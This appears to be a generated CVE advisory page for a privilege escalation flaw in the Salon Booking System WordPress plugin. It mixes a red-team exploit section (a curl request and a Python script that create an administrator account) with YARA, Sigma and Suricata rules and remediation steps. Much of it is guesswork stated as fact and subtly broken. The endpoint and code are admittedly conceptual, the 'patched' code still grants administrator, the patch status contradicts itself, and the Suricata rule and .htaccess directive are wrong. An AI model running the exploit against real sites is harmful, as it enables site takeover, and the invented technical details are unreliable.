CVE-2025-31560
Executive Summary
CVE-2025-31560 is a critical privilege escalation vulnerability in the Salon Booking System WordPress plugin (by Dimitri Grassi). The flaw stems from an Incorrect Privilege Assignment (CWE-266) in versions through < 10.15. An authenticated attacker with low-privileged access (e.g., subscriber or customer role) can exploit this to escalate their privileges to administrator level, leading to full site compromise, data exfiltration, and potential lateral movement within the hosting environment.
This vulnerability is particularly dangerous because it resides in a widely used WordPress plugin for managing salon appointments, making it a prime target for automated exploitation campaigns. The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch increases risk significantly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:
- No official patch has been released by the vendor.
- No GitHub advisory or OSV data exists, meaning the vulnerability may be undisclosed or uncoordinated.
- Users relying on automatic updates are unprotected.
- Malicious actors could inject backdoors into unpatched installations via privilege escalation.
CVSS Breakdown & Threat Level
CVSS Score: 7.2 (High)
| Vector Component | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low (L) | No special conditions required. |
| Privileges Required (PR) | Low (L) | Attacker needs only low-level authentication. |
| User Interaction (UI) | None (N) | No user action required. |
| Scope (S) | Unchanged (U) | Vulnerability does not cross trust boundaries. |
| Confidentiality (C) | High (H) | Full read access to all site data. |
| Integrity (I) | High (H) | Full write access to site content and settings. |
| Availability (A) | High (H) | Full control over site availability. |
Threat Level: High – due to ease of exploitation, lack of patch, and widespread use in the WordPress ecosystem.
Deep Dive & Mechanics
The vulnerability lies in the plugin's role and capability management system. The salon-booking-system plugin incorrectly assigns administrative capabilities to lower-privileged users during certain AJAX actions or REST API endpoints. Specifically, the plugin fails to validate the current user's role before executing privileged operations such as:
- Modifying plugin settings
- Creating or deleting admin users
- Accessing appointment data of other customers
The flaw is triggered by sending a crafted HTTP request to an endpoint like /wp-admin/admin-ajax.php?action=salon_booking_admin_action with a nonce that is accessible to low-privileged users. The plugin then processes the request with elevated privileges due to missing current_user_can() checks.
Attack Flow:
- Attacker registers as a subscriber or customer on the WordPress site.
- Attacker obtains a valid nonce from the plugin's frontend (often exposed in page source).
- Attacker sends a POST request to
admin-ajax.phpwith the action parameter and malicious payload (e.g.,add_admin_user). - The plugin executes the action with administrative privileges, creating a new admin user or modifying site options.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable pattern vs. a secure implementation.
Vulnerable Code (Conceptual):
// In vulnerable version < 10.15
add_action('wp_ajax_salon_booking_admin_action', 'salon_booking_process_admin_action');
function salon_booking_process_admin_action() {
// Missing capability check
$action = $_POST['admin_action'];
if ($action == 'add_user') {
$user_id = wp_create_user($_POST['username'], $_POST['password'], $_POST['email']);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
Patched Code (Conceptual):
// Secure implementation
add_action('wp_ajax_salon_booking_admin_action', 'salon_booking_process_admin_action');
function salon_booking_process_admin_action() {
// Proper capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$action = sanitize_text_field($_POST['admin_action']);
if ($action == 'add_user') {
// Additional nonce verification
if (!wp_verify_nonce($_POST['_wpnonce'], 'salon_booking_admin_nonce')) {
wp_die('Invalid nonce', 403);
}
$user_id = wp_create_user(sanitize_user($_POST['username']), $_POST['password'], sanitize_email($_POST['email']));
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with Salon Booking System < 10.15
- Low-privileged user account (subscriber or customer)
- Burp Suite or cURL
Exploitation Steps:
Obtain Nonce: Visit the site's frontend and view page source. Look for a JavaScript variable like
salon_booking_nonceor extract it from an AJAX request.Craft Exploit Request:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=salon_booking_admin_action&admin_action=add_user&username=eviladmin&password=P@ssw0rd!&email=evil@example.com&_wpnonce=EXTRACTED_NONCE"
- Verify Privilege Escalation:
curl -c cookies.txt -b cookies.txt https://target.com/wp-admin/ -L
If successful, you can now access the admin dashboard.
Advanced Exploit (Automated):
import requests
target = "https://target.com"
session = requests.Session()
# Step 1: Login as low-privilege user
login_data = {"log": "attacker", "pwd": "password123", "wp-submit": "Log In"}
session.post(f"{target}/wp-login.php", data=login_data)
# Step 2: Extract nonce from page source
homepage = session.get(target)
# Parse nonce (simplified)
nonce = "extracted_nonce_value"
# Step 3: Escalate privileges
exploit_data = {
"action": "salon_booking_admin_action",
"admin_action": "add_user",
"username": "eviladmin",
"password": "P@ssw0rd!",
"email": "evil@example.com",
"_wpnonce": nonce
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=exploit_data)
print(response.text)
Blue Team (Defensive)
Detection & Response:
- Monitor for new admin user creation – Alert on
wp_create_usercalls with roleadministratorfrom non-admin IPs. - Audit AJAX requests – Look for
admin-ajax.phprequests withaction=salon_booking_admin_actionfrom low-privileged users. - Harden nonce management – Ensure nonces are tied to user sessions and capabilities.
- Implement WAF rules – Block requests to
admin-ajax.phpwith suspicious parameters.
Lab Setup for Testing:
# Install vulnerable plugin version
wp plugin install salon-booking-system --version=10.14 --activate
# Create test user
wp user create testuser test@example.com --role=subscriber --user_pass=test123
# Monitor logs
tail -f /var/log/apache2/access.log | grep "admin-ajax"
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=salon_booking_admin_action - Unusual
admin_actionparameters (e.g.,add_user,update_settings) - Nonce values reused across different user sessions
Host IOCs:
- New WordPress admin users created with suspicious usernames (e.g.,
eviladmin,hacker123) - Modified
wp_optionstable entries for plugin settings - Unexpected files in
/wp-content/uploads/or/wp-content/plugins/salon-booking-system/
Log IOCs:
- Apache/Nginx logs showing
POST /wp-admin/admin-ajax.phpfrom IPs not in admin range - WordPress debug logs with
current_user_canfailures or missing capability errors
Detection Engineering
YARA Rule
rule CVE_2025_31560_Salon_Booking_PrivEsc {
meta:
description = "Detects exploitation attempts of CVE-2025-31560 in Salon Booking System"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-31560"
strings:
$ajax_action = "salon_booking_admin_action"
$admin_action = "admin_action"
$add_user = "add_user"
$set_role = "set_role"
$wp_create_user = "wp_create_user"
condition:
any of ($ajax_action, $admin_action) and any of ($add_user, $set_role, $wp_create_user)
}
Sigma Rule
title: CVE-2025-31560 - Salon Booking System Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-31560 via AJAX requests
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "admin-ajax.php"
- "salon_booking_admin_action"
cs-uri-query|contains|all:
- "admin_action"
- "add_user"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31560 - Salon Booking System Privilege Escalation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"admin-ajax.php";
http_uri;
content:"salon_booking_admin_action";
http_client_body;
content:"admin_action";
http_client_body;
content:"add_user";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-31560;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available:
wp plugin deactivate salon-booking-system - Audit all user accounts for unauthorized admin users created via this exploit.
- Implement a Web Application Firewall (WAF) rule to block the specific AJAX action:
Rule: Block POST requests to /wp-admin/admin-ajax.php containing "salon_booking_admin_action"
Long-term Mitigation:
- Monitor vendor channels for an official patch (version 10.15 or later).
- Apply virtual patching via WAF or WordPress security plugins (e.g., Wordfence, Sucuri).
- Restrict AJAX endpoint access to authenticated users with proper capabilities using
.htaccess:<Files "admin-ajax.php"> Require all denied Require wp-admin </Files> - Enable logging for all AJAX requests and user creation events.
- Conduct regular security audits of WordPress plugins and user roles.
Workaround (if plugin must remain active):
- Add a custom capability check via a mu-plugin:
add_action('wp_ajax_salon_booking_admin_action', function() {
if (!current_user_can('manage_options')) {
wp_die('Access denied', 403);
}
}, 1);
Report generated by Valters IT DevSecOps & CTI Division
Signature: Valters IT – Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.